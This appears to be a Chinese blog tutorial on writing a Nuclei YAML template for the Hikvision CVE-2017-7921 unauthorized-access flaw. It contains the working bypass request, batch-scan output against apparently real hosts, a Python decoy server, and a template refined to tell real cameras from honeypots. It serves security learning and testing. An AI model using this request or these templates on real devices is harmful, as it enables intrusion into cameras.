【工具類】Nuclei YAML POC 編寫以及批量檢測

Nuclei YAML POC 編寫以及批量檢測

  • 法律與道德使用聲明
  • 前言
  • Nuclei 下載地址
    • 下載對應版本的文件
    • 關于檢查cpu架構
  • 關于hkws的未授權訪問
    • 參考資料
  • 關于 Neclei Yaml 腳本編寫
    • BP Nuclei Template 插件下載并安裝
    • 利用插件編寫 POC YAML 文件
      • 1、找到有漏洞的頁面抓包發送給插件
      • 2、同時將`response`中的關鍵字`0.0.0.0`也發送給插件
      • 3、插件中對YAML略做修訂后進行保存
      • 4、將YAML模版進行保存
      • 5、在Terminal中進行測試
      • 6、使用經驗
  • 關于對抗
    • 防御方偽造漏洞特征讓`nuclei`誤判，可利用一個很簡單的`python`腳本實現：
    • 攻擊方對檢測腳本進行升級
    • 進一步升級yaml文件

法律與道德使用聲明

本課程/筆記及相關技術內容僅限合法授權場景使用，嚴禁一切未授權的非法行為！

1. 適用場景限制

  • 本課程涉及的 網絡安全知識、工具及攻擊手法 僅允許在以下場景使用：
    • ? 授權滲透測試（需獲得目標方書面授權）
    • ? CTF競賽、攻防演練等合規賽事
    • ? 封閉實驗環境（如本地靶場、虛擬機）
    • ? 學術研究、技術教學（需確保隔離環境）
  • 嚴禁 用于任何未經授權的真實系統、網絡或設備。
    2. 法律與道德責任
  • 根據《中華人民共和國網絡安全法》《刑法》等相關法律法規，未經授權的網絡入侵、數據竊取、系統破壞等行為均屬違法，可能面臨刑事處罰及民事賠償。
  • 使用者需對自身行為負全部責任，課程作者及發布平臺不承擔任何因濫用技術導致的連帶責任。
    3. 工具與知識的正當用途
  • 防御視角：學習漏洞原理以提升系統防護能力。
  • 教育視角：理解攻擊手法以培養安全意識與應急響應能力。
  • 禁止用途：包括但不限于：
    -? 入侵他人計算機系統
    -? 竊取、篡改、刪除數據
    -? 傳播惡意軟件（木馬、勒索病毒等）
    -? 發起DDoS攻擊或網絡詐騙
    4. 風險自擔原則
  • 即使在合法授權場景下，操作不當仍可能導致系統崩潰、數據丟失等風險。使用者需自行評估并承擔操作后果。
    5. 知識產權聲明
  • 課程中涉及的第三方工具、代碼、文檔版權歸原作者所有，引用時請遵循其許可協議（如GPL、MIT等）。
    6. 違法違規后果
  • 技術濫用將被依法追責，包括但不限于：
  • 行政拘留、罰款（《網絡安全法》第27、63條）
  • 有期徒刑（《刑法》第285、286條非法侵入/破壞計算機系統罪）
  • 終身禁止從事網絡安全相關職業

請務必遵守法律法規，技術向善，共同維護網絡安全環境！
如發現安全漏洞，請通過合法渠道上報（如CNVD、廠商SRC）

前言

本文根據蟻景網安實驗室百里老師的直播課進行復現

Nuclei 下載地址

https://github.com/projectdiscovery/nuclei/releases/tag/v3.4.10

下載對應版本的文件

  • 如果是kali linux，可以使用uname -a或者uname -m檢查cpu架構，如果是x86_64可以下載箭頭所指的amd版

nuclei 下載頁面截圖

  • 如果下載速度比較慢，可以用迅雷等工具進行加速。

關于檢查cpu架構

┌──(kali?kali)-[~/Desktop/temp/Security]
└─$ uname -m
x86_64┌──(kali?kali)-[~/Desktop/temp/Security]
└─$ uname -a
Linux kali 6.12.13-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.13-1kali1 (2025-02-11) x86_64 GNU/Linux

關于hkws的未授權訪問

參考資料

漏洞詳情、具體利用、信息收集等，可以參考各位大佬的文章，這里不再贅述：
yier-G大佬-《CVE-2017-7921 海康威視（Hikvision）攝像頭漏洞復現》
暴躁的小胡!!!大佬-《2025年最新CVE-2017-7921漏洞復現》

漏洞POC
http://{{ip:port}}/Security/users?auth=YWRtaW46MTEK

如存在未授權訪問漏洞，則會返回如下頁面
有漏洞的返回頁面
如果不存在未授權訪問漏洞，則會返回如下頁面需要填寫用戶名和密碼
無漏洞的返回頁面

我們只要判斷響應結果中是否存在響應數據即可，假設這里使用0.0.0.0

關于 Neclei Yaml 腳本編寫

BP Nuclei Template 插件下載并安裝

Nuclei Template Generator Plugin

利用插件編寫 POC YAML 文件

1、找到有漏洞的頁面抓包發送給插件

把請求包發送給插件

2、同時將response中的關鍵字0.0.0.0也發送給插件

把響應包中的關鍵字也發送給插件

3、插件中對YAML略做修訂后進行保存

最終腳本如下：

id: CVE-2017-7921info:name: cve-2017-7921-POCauthor: kaliseverity: highdescription: hkws未授權訪問漏洞reference:- https://cnblogs.com/yier-G/p/16632842.htmltags: tagshttp:- raw:- |+GET /Security/users?auth=YWRtaW46MTEK HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brConnection: keep-aliveCookie: language=en; updateTips=trueUpgrade-Insecure-Requests: 1Priority: u=0, imatchers-condition: andmatchers:- type: wordpart: bodywords:- <ipAddress>0.0.0.0</ipAddress>- type: statusstatus:- 200

4、將YAML模版進行保存

保存模版

保存完畢后，文件名會被修改，同時會列出運行的命令
保存后的結果

5、在Terminal中進行測試

-v 顯示詳細信息（實測未觸發漏洞也會列出）
-t 指定要運行的模板或者模板目錄（以逗號分隔或目錄形式）
-u 指定掃描的目標URL/主機（多個目標則指定多個-u參數）
具體可以詳見nuclei官方中文文檔https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md

┌──(kali?kali)-[~/Desktop/temp]
└─$ ./nuclei -v -t /home/kali/Desktop/temp/CVE-2017-7921-POC.yaml -u http://{{ip:port}}/  # 其中.yaml是我們剛才寫的模版__     _____  __  _______/ /__  (_)/ __ \/ / / / ___/ / _ \/ // / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10projectdiscovery.io[INF] Your current nuclei-templates  are outdated. Latest is v10.2.8
[WRN] failed to update nuclei templates: cause="failed to download templates" chain="context deadline exceeded (Client.Timeout or context cancellation while reading body); failed to read resp body"   # 這里檢查模版update
[VER] Started metrics server at localhost:9092
[INF] Current nuclei version: v3.4.10 (latest)
[INF] Current nuclei-templates version:  (outdated)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 0
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.                                                                        
[INF] Targets loaded for current scan: 1                                                                                              
[VER] [CVE-2017-7921] Sent HTTP request to http://{{ip:port}}/Security/users?auth=YWRtaW46MTEK                               
[CVE-2017-7921] [http] [high] http://{{ip:port}}/Security/users?auth=YWRtaW46MTEK                                            
[INF] Scan completed in 672.773988ms. 1 matches found.    # 備注，這里雖然現實時間很短，但是上面check update花了很長時間

6、使用經驗

使用 --disable-update-check不檢查升級加快掃描速度

┌──(kali?kali)-[~/Desktop/temp]
└─$ ./nuclei -v -t ./CVE-2017-7921-POC.yaml -u http://{{ip:port}}/ --disable-update-check # 其中.yaml是我們剛才寫的模版__     _____  __  _______/ /__  (_)/ __ \/ / / / ___/ / _ \/ // / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10projectdiscovery.io[VER] Started metrics server at localhost:9092
[INF] Current nuclei version: v3.4.10 (unknown) - remove '-duc' flag to enable update checks
[INF] Current nuclei-templates version:  (unknown) - remove '-duc' flag to enable update checks
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 0
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[VER] [CVE-2017-7921] Sent HTTP request to http://{{ip:port}}/Security/users?auth=YWRtaW46MTEK
[CVE-2017-7921] [http] [high] http://{{ip:port}}/Security/users?auth=YWRtaW46MTEK
[INF] Scan completed in 657.58416ms. 1 matches found.

對列表進行批量掃描
這里沒有用參數 -v 所以會忽略掉不存在漏洞的信息
繼續帶上 --disable 參數，避免檢查update加快速度

┌──(kali?kali)-[~/Desktop/temp]
└─$ ./nuclei -l list.txt -t ./CVE-2017-7921-POC.yaml --disable-update-check__     _____  __  _______/ /__  (_)/ __ \/ / / / ___/ / _ \/ // / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10projectdiscovery.io[INF] Supplied input was automatically deduplicated (7 removed).
[ERR] Could not read nuclei-ignore file: open /home/kali/.config/nuclei/.nuclei-ignore: no such file or directory
goroutine 1 [running]:
runtime/debug.Stack()runtime/debug/stack.go:26 +0x5e
github.com/projectdiscovery/nuclei/v3/pkg/catalog/config.ReadIgnoreFile()github.com/projectdiscovery/nuclei/v3/pkg/catalog/config/ignorefile.go:21 +0xd3
github.com/projectdiscovery/nuclei/v3/internal/runner.(*Runner).RunEnumeration(0xc000faf440)github.com/projectdiscovery/nuclei/v3/internal/runner/runner.go:541 +0x2cd
main.main()./main.go:223 +0xc12[INF] Current nuclei version: v3.4.10 (unknown) - remove '-duc' flag to enable update checks
[INF] Current nuclei-templates version:  (unknown) - remove '-duc' flag to enable update checks
[INF] New templates added in latest release: 0
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 40
[CVE-2017-7921] [http] [high] http://{{存在漏洞的ip:端口}}/Security/users?auth=YWRtaW46MTEK
[CVE-2017-7921] [http] [high] http://{{存在漏洞的ip:端口}}/Security/users?auth=YWRtaW46MTEK
[CVE-2017-7921] [http] [high] http://{{存在漏洞的ip:端口}}/Security/users?auth=YWRtaW46MTEK
[CVE-2017-7921] [http] [high] http://{{存在漏洞的ip:端口}}/Security/users?auth=YWRtaW46MTEK
[CVE-2017-7921] [http] [high] http://{{存在漏洞的ip:端口}}/Security/users?auth=YWRtaW46MTEK
[CVE-2017-7921] [http] [high] https://{{存在漏洞的ip:端口}}/Security/users?auth=YWRtaW46MTEK
[INF] Scan completed in 8.02384949s. 6 matches found.

關于對抗

下面是自己突發奇想

防御方偽造漏洞特征讓nuclei誤判，可利用一個很簡單的python腳本實現：

from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qsclass SimpleHTTPRequestHandler(BaseHTTPRequestHandler):def do_GET(self):# 解析URL和查詢參數parsed_path = urlparse(self.path)query_params = parse_qs(parsed_path.query)# 檢查是否是目標路徑和參數if parsed_path.path == '/Security/users' and 'auth' in query_params and query_params['auth'][0] == 'YWRtaW46MTEK':# 設置響應頭self.send_response(200)self.send_header('Content-type', 'application/xml')self.end_headers()# 返回XML內容response_xml = '''<UserList version="1.0">
<User version="1.0">
<id>1</id>
<userName>admin</userName>
<priority>high</priority>
<ipAddress>0.0.0.0</ipAddress>
<macAddress>00:00:00:00:00:00</macAddress>
<userLevel>Administrator</userLevel>
</User>
</UserList>'''

上述py腳本運行后，用python開啟服務

┌──(kali?kali)-[~/Desktop/temp]
└─$ python3 honey.py
Starting HTTP server on port 8000...
測試URL: http://localhost:8000/Security/users?auth=YWRtaW46MTEK
192.168.56.101 - - [05/Sep/2025 12:03:00] "GET /Security/users?auth=YWRtaW46MTEK HTTP/1.1" 200 -

攻擊方如果單純檢測<ipAddress>0.0.0.0</ipAddress>，則nuclei會誤判

┌──(kali?kali)-[~/Desktop/temp]
└─$ ./nuclei -v -t ./CVE-2017-7921-POC.yaml -u http://192.168.56.101:8000/ --disable-update-check__     _____  __  _______/ /__  (_)/ __ \/ / / / ___/ / _ \/ // / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10projectdiscovery.io[VER] Started metrics server at localhost:9092
[INF] Current nuclei version: v3.4.10 (unknown) - remove '-duc' flag to enable update checks
[INF] Current nuclei-templates version:  (unknown) - remove '-duc' flag to enable update checks
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 0
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[VER] [CVE-2017-7921] Sent HTTP request to http://192.168.56.101:8000/Security/users?auth=YWRtaW46MTEK
[CVE-2017-7921] [http] [high] http://192.168.56.101:8000/Security/users?auth=YWRtaW46MTEK
[INF] Scan completed in 1.591111ms. 1 matches found.

攻擊方對檢測腳本進行升級

比如加入一些其他特征：
其他特征
以Server特征為例進行修改，并保存在了CVE-2017-792-update.yaml模版中

┌──(kali?kali)-[~/Desktop/temp]
└─$ cat CVE-2017-792-update.yaml
id: CVE-2017-7921
info:name: cve-2017-7921-POCauthor: kaliseverity: highdescription: hkws未授權訪問漏洞reference:- https://cnblogs.com/yier-G/p/16632842.htmltags: tags
http:- raw:- |+GET /Security/users?auth=YWRtaW46MTEK HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brConnection: keep-aliveCookie: language=en; updateTips=trueUpgrade-Insecure-Requests: 1Priority: u=0, imatchers-condition: andmatchers:- type: wordpart: headerwords:- 'Server: App-webs'   # 增加了該字段- type: wordpart: bodywords:- <ipAddress>0.0.0.0</ipAddress>- type: statusstatus:- 200

此時使用新模版再進行檢測可以看到，提示并不是漏洞。

┌──(kali?kali)-[~/Desktop/temp]
└─$ ls
CVE-2017-7921-POC.yaml  CVE-2017-792-update.yaml  honey.py  index.html  list.txt  nuclei  nuclei_3.4.10_linux_amd64.zip┌──(kali?kali)-[~/Desktop/temp]
└─$ ./nuclei -v -t ./CVE-2017-792-update.yaml -u http://192.168.56.101:8000/ --disable-update-check__     _____  __  _______/ /__  (_)/ __ \/ / / / ___/ / _ \/ // / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10projectdiscovery.io[VER] Started metrics server at localhost:9092
[INF] Current nuclei version: v3.4.10 (unknown) - remove '-duc' flag to enable update checks
[INF] Current nuclei-templates version:  (unknown) - remove '-duc' flag to enable update checks
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 0
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[VER] [CVE-2017-7921] Sent HTTP request to http://192.168.56.101:8000/Security/users?auth=YWRtaW46MTEK
[INF] Scan completed in 1.461189ms. No results found.

進一步升級yaml文件

如果是真實的漏洞，會提示App-webs，保存在test.yaml模版中

id: CVE-2017-7921info:name: cve-2017-7921-POCauthor: kaliseverity: highdescription: hkws未授權訪問漏洞檢測，包含蜜罐識別reference:- https://cnblogs.com/yier-G/p/16632842.htmltags: cve,hikvision,unauthorized-accessclassification:cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hcvss-score: 9.8cve-id: CVE-2017-7921http:- raw:- |GET /Security/users?auth=YWRtaW46MTEK HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brConnection: keep-aliveCookie: language=en; updateTips=trueUpgrade-Insecure-Requests: 1Priority: u=0, imatchers-condition: andmatchers:# 主要匹配條件 - 檢查響應體內容- type: wordpart: bodywords:- "<ipAddress>0.0.0.0</ipAddress>"# 檢查狀態碼- type: statusstatus:- 200# 檢查是否為真實設備（有Server頭）- type: wordpart: headerwords:- "Server: App-webs"name: real-device# 提取器 - 用于獲取Server頭部信息extractors:- type: regexpart: headername: serverregex:- "Server: ([^\\r\\n]*)"group: 1

此時對模擬的蜜罐和真實漏洞的目標分別進行嘗試，結果如下：

┌──(kali?kali)-[~/Desktop/temp]
└─$ ./nuclei -v -t ./test.yaml -u http://{{ip:port}}/ --disable-update-check__     _____  __  _______/ /__  (_)/ __ \/ / / / ___/ / _ \/ // / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10projectdiscovery.io[VER] Started metrics server at localhost:9092
[INF] Current nuclei version: v3.4.10 (unknown) - remove '-duc' flag to enable update checks
[INF] Current nuclei-templates version:  (unknown) - remove '-duc' flag to enable update checks
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 0
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[VER] [CVE-2017-7921] Sent HTTP request to http://{{ip:port}}/Security/users?auth=YWRtaW46MTEK
[CVE-2017-7921:server] [http] [high] http://{{ip:port}}/Security/users?auth=YWRtaW46MTEK ["App-webs/"]  # 留意這里的 ["App-webs/"]
[INF] Scan completed in 652.761265ms. 1 matches found.┌──(kali?kali)-[~/Desktop/temp]
└─$ ./nuclei -v -t ./test.yaml -u http://192.168.56.101:8000/ --disable-update-check__     _____  __  _______/ /__  (_)/ __ \/ / / / ___/ / _ \/ // / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10projectdiscovery.io[VER] Started metrics server at localhost:9092
[INF] Current nuclei version: v3.4.10 (unknown) - remove '-duc' flag to enable update checks
[INF] Current nuclei-templates version:  (unknown) - remove '-duc' flag to enable update checks
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 0
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[VER] [CVE-2017-7921] Sent HTTP request to http://192.168.56.101:8000/Security/users?auth=YWRtaW46MTEK
[INF] Scan completed in 2.172032ms. No results found.

因技術有限，利用AI目前僅能將yaml腳本做到這個地步，另外或許利用nuclei官方自己的ai可以進一步完善。

https://cloud.projectdiscovery.io/templates

本文拋磚引玉，感謝閱讀。

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通俗的話語解讀《銀行保險機構信息科技外包風險監管辦法》

這份文件不是 “紙上規矩”&#xff0c;而是銀行保險機構做信息科技外包的 “實操手冊”—— 從要不要外包、選誰合作&#xff0c;到怎么管過程、防風險&#xff0c;再到出問題怎么應對&#xff0c;都給了明確方向。作為管理者&#xff0c;核心是把這些要求落地到日常決策和系統…
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芯片ATE測試PAT（Part Average Testing）學習總結-20250916

芯片ATE測試PAT（Part Average Testing）學習總結-20250916

目錄 一、基本概念 二、靜態PAT 三、動態PAT 四、參考鏈接： 一、基本概念 零件平均測試（Part Average Testing，PAT）是一種基于統計學的質量控制方法，主要用于半導體制造中篩選出與正常參數范圍偏差較大的“異常值”芯片，以提高產品質量和可靠性； 二、靜態PAT 靜態…
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【數據結構、java學習】數組(Array)

【數據結構、java學習】數組(Array)

1&#xff0c;概念 數組一旦定義&#xff0c;其維數和維界就不再改變。 因此除了結構的初始化和銷毀之外&#xff0c;數組只有存取元素和修改元素值的操作。Array可以存放對象類型、基本數據類型的數據。數組中元素在內存中按順序線性存放&#xff0c;通過第一個元素就能訪問隨…
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58-正則表達式

58-正則表達式

1. 概念正則表達式是一種用來匹配字符串的強有力的武器.設計思想&#xff1a;用一種描述性的語言來給字符串定義一個規則&#xff0c;凡是符合規則的字符串&#xff0c;就認為它"匹配"【合法】否則就是不匹配[不合法]舉例&#xff1a;beijinglishao163.com2. 規則 1.…
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圖片木馬制作的三種方法

圖片木馬制作的三種方法

本文轉自&#xff1a;https://www.cnblogs.com/cybersecuritystools/p/14932567.html 0x01什么是圖片木馬&#xff1f; 圖片木馬在網絡上沒有統一的定義&#xff0c;在這里我給出自己的定義。圖片木馬是一張能正常顯示又包含惡意代碼&#xff08;比如一句話木馬&#xff09;的…
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【Redis】緩存的穿透、擊穿和雪崩

【Redis】緩存的穿透、擊穿和雪崩

引言要了解緩存的這幾個相關問題&#xff0c;我們先以一個例子來引入&#xff1a;有一個get請求&#xff1a;api/news/getById/1正常情況下對其申請訪問的流程如圖&#xff1a;但若是如此&#xff0c;訪問增多或者受到攻擊時很容易受到以下問題1 緩存穿透1.1 造成原因當查詢一個…
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打造一款高穩定、低延遲、跨平臺RTSP播放器的技術實踐

打造一款高穩定、低延遲、跨平臺RTSP播放器的技術實踐

一、引言 RTSP&#xff08;Real Time Streaming Protocol&#xff09;作為經典的實時流媒體協議&#xff0c;已經深深嵌入到安防監控、遠程教育、工業巡檢、低空經濟、醫療影像傳輸等行業之中&#xff0c;可以說是這些場景的視頻傳輸“基礎設施”。一個穩定的 RTSP 播放器&…
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C++_數據結構

C++_數據結構

數據結構是計算機存儲、組織數據的方式&#xff0c;它使得數據能夠被高效地訪問和修改。根據數據元素之間關系的不同特性&#xff0c;數據結構可以分為多種類型。主要可以分為兩大類&#xff1a;邏輯結構和物理結構&#xff08;也稱存儲結構&#xff09;。 一、邏輯結構&#x…
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一個正常的 CSDN 博客賬號，需要做哪些基礎準備？

一個正常的 CSDN 博客賬號，需要做哪些基礎準備？

一個正常的 CSDN 博客賬號&#xff0c;需要做哪些準備&#xff1f; CSDN&#xff08;中國軟件開發網&#xff09;作為國內最具影響力的技術社區之一&#xff0c;不僅是開發者獲取信息的重要平臺&#xff0c;也是技術人建立個人品牌、輸出知識、積累影響力的重要陣地。想要把一…
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【Python基礎】 17 Rust 與 Python 運算符對比學習筆記

【Python基礎】 17 Rust 與 Python 運算符對比學習筆記

一、算術運算符運算符Rust &#x1f980;Python &#x1f40d;示例 (Rust)示例 (Python)說明加法加法let sum 5 3;sum 5 3-減法減法let diff 5 - 3;diff 5 - 3*乘法乘法let product 5 * 3;product 5 * 3/除法除法let quotient 5 / 3; → 1quotient 5 / 3 → 1.666...…
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單鏈表逆序java

單鏈表逆序java

在Java中實現單鏈表的逆序&#xff0c;可以通過迭代或遞歸兩種方式。以下是兩種方法的詳細實現&#xff1a; 1. 迭代方法&#xff08;推薦&#xff09; public class ListNode {int val;ListNode next;ListNode(int x) { val x; } }class Solution {public ListNode reverseLi…
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（11）用于無GPS導航的制圖師SLAM（二）

（11）用于無GPS導航的制圖師SLAM（二）

文章目錄 前言 7 構建軟件包 8 開始制圖 9 配置 ArduPilot 10 測試 11 視頻 前言 本頁展示了如何使用 RPLidarA2 激光雷達(RPLidarA2 lidar)設置 ROS 和 Google Cartographer SLAM&#xff0c;為 ArduPilot 提供本地位置估計&#xff0c;使其可以在沒有 GPS 的情況下運行…
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1.5、機器學習-回歸算法

1.5、機器學習-回歸算法

1、線性回歸模型 線性回歸模型(Liner Regression)&#xff0c;是利用線性擬合的方式來探尋數據背后的規律。通過搭建線性回歸模型&#xff0c;可以尋找這些散點&#xff08;也稱樣本點&#xff09;背后的趨勢線(也稱回歸曲線)。 借助回歸曲線&#xff0c;我們可以進行一些簡單…
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